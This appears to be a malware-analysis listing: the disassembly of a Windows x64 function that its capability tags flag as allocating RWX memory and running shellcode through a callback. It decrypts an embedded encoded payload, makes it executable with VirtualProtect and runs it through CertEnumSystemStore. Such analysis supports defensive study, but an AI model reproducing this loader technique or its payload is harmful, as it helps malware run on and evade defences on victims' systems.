Function at 0x140006afc
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
mov eax, 0x1968
call fcn.140007250
sub rsp, rax
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rsp + 0x1950], rax
lea rax, [rsp + 0xf80]
lea rcx, str.fTk0IXsRsZrY9epOUeq1oQ0l4RoVPjlVJoEuMX3zPeEje8GdHrJUcxFZpepdr4SDRVKa6s7ouAvVNOqjbmDXauHJGPlOuvClVpjZvRyLdC2d6h5WF7twqC1kX9nIKWgL9KaawEYPrhgpcPJeSSnLatPbvLnYxgng2QCJQ8DmxkwRBosnzlWeW39pnWOJcwZvMht1Ue7ys35aku9WPa2jr1RTE8qRhrprEAHTMxpPpcOmcTSt4aUDyEbOtWv6EV_1GujETXF6kZi2OPptHXdc6bW2SBbgxuXyJeuHIZA2BzhEoq5oRTpsnMJe5vhw3YZtfRhkp7obYjkBRVZFdjHVVAq5moE8IFsKjpTWYKLjAyD_kJxIMk5dtnwtAuWanpbkTO9g9K_WqliXVzYiIZ1p8Miwi1sW5ur3Gb1kzepNpYIaYxHUlurHqTnouxtpTLOunWlvNzyBDhVaf4aNpYuaIaTTBrBMqVSmuJk6D5X5Ce6PRvNidWmaXD3vYNsGvdBfA2M_6yv_hfEgfBJDq5apzI7FFz7v2wHPP5HUiIsd2rGoIbQ22rdD0Z8ancxXvMkg5IN_RhJCcMeOJ7shlKf2Fqh6xkDNHER0spXyYwdJd3zgGi1wVJxvausSF8aodIx2AvQsSXMWaifrfeaZNnG8XU0ivHDscjqDf0Y5Xu6Q9oxR7gFo0qLrMOC3I45enuO6agfdgxRG2wUqQKOOOLiWuxJAT3n1zgk6QeRB4PqPTNPydNSU9kn7d0TnlzkbbzMeRHQzFbEr8PC8ncFIR52g1gFAjRpJ43s8OB1ECYriME2G5e_9juAFWObFlovcC7yhrcdxyn7wLgCyGp1f40orlH7sk_4sIgZKAKXqdWrbhmwdUfbOYt6cEij3qMM3aVg7Gsz5PtzqTEKxZyhajrl8bZiJl0ORZJhlg6TaRH_F380xq1DaZmtxjiYfcUTWPpkAYZJe4Vtm86Lvxx1PFCUZDPL0P09XiOKKZXx5VNVxbpmoADY33eMfwTIVcKtpo8hJVz4nLsyfvwHw2Z9RZ4zG_219rg3gvWN9sgYPbV5dZlCY8sRa1Nk4GstKteycoKVNi_KM7paf97NfhEXH8uePXViM4olM6alFDTAH4YkuyrjTIhhxpCXHDbAArDVxN9N74YxL783iixKeb2ZFfKdBS23RB0UzzcDBa_quML9jtUTCmeeZCh5jMJ0xMA5ZkV6s4pKPAmtGUUAPuWTL2vYig6TOXBdaUUR4Xk3MYJU1GQ6noUXr7KxcVoB2vlrgaeLpyU5sIIGyOt1OHeTdTvcFS4jJC56DeMx_esTRiRXZHwZq7NnnvtJNqZcdPX8SYmY08v_Ox9bHGNMQyhAEaYWJ5iiSW0KDzjPR_92Ml6p3Vmbdpg0Xt3XndWOOmv9hgAStO1rfzFUexG1clADgdEyZS9mto7ak0rlRWIKyvG1BaSyg67XFdcl929ExLX2G3zVeYIeBtPoD2Ku0xA3ban0HPktH_uXhxdHHO02uO20jlXWsMtU1wO8yue7V6J9W7X56rBM2kQnEn42K8Bx89pk8uORNKkeULI3a84c44xYH49vyZH4A7HaBmMWitL03fpXYMh6LTmy2QLO0rnCoAZHZwnPQBVBgmqmWJPB3SOi7mIl_TKFF9RrBDyYFWXofJ7z6PRj3M7r6cMcXjTIzjhS8N3uib5ZIn03QPlyceK_yvddo8L1PWLgnAxyFJKi_6VyOme998JFIW6GDYOAPCuXZBL91GEeBAjP6Zx6JahWmY16TUTThcueFoihZYSvWJgf0wlBso90gXzZo953hfTp5rQSDZprr8hqqyBQV0rkEgQJBM2T_YOlCHhh7i5Lg_pEj0R9mDKDCYT9WOhqZ0yB3sVLA1j74sy8XCzVZADdDzNualScJFwem6z8ttMklhnTV44W6FoCwMKTEca4zAePFF7glsmjdXo9JhwQUtAFNu6ylbL2U_jVF7pzs9vl9pUL9Pq8oYBKbuMbf5hZbDbKTR7S0jqVAkpQvOwaLJmW2wtKQKOAG_ZgPJTNIuzossF_X69zu7nk4hBpBBiCjvq6n6xifAMfDFY9dxMXBrOFcc2gxXLw2R7ZZJlwZ10kqlFsLpRgm_ZrifTXqpET6hsqPjN7vWVTmJky8Q7maU3pUtaCsVapic6Nd4ALYfSi6GZiJQDIZhdkvSeRn971HXDlIqe_b__3J9ZEmGdMOe8dESj5Z82rRT1xjahH2t9CeWqJp7BGXL0wjonPj3pL6L1xiGvExg8eiPafJcTgS16s5yfOc7H3J3BX9kaW7jfcAk83PFYtXJEaqv0YYLWnjYA3aqfqyYRK1BFGdGtQSLjNnxeGNHsS_AG7Bt6iDQMcj5Zqu3VSaeTAMbwaAsqDvjqUSMF9llw2Xl_O7KMa4OD614rDzbW9fnDZPLDwhJEjq7256gmtxEVgYmf9DXEMW_JBJ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x9c1
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa8]
lea rcx, [0x14000c0f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x80]
lea rcx, str.W9UKQW5ltwlY8AGQc4nGwxhRPfHnsqCu
mov rdi, rax
mov rsi, rcx
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf80]
lea rcx, [rsp + 0x38]
call fcn.1400015ac
nop
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140006cc0
nop
lea rcx, [rsp + 0x38]
call fcn.140001524
nop
lea rax, [rsp + 0x5b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x9c1
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
jmp 0x140006be0
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x60]
call fcn.1400014c4
mov rcx, qword [rsp + 0x28]
cmp rcx, rax
jae 0x140006c20
movsxd rax, dword [rsp + 0x20]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400014d4
movsxd rcx, dword [rsp + 0x20]
mov al, byte [rax]
mov byte [rsp + rcx + 0x5b0], al
jmp 0x140006bd6
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4e0
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x5b0]
call fcn.140007008
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x58]
mov r8d, 0x40
mov edx, 0x4e0
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0xd0]
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
nop
lea rcx, [rsp + 0x60]
call fcn.140001524
nop
xor eax, eax
mov rcx, qword [rsp + 0x1950]
xor rcx, rsp
call fcn.140002b20
add rsp, 0x1968
pop rdi
pop rsi
ret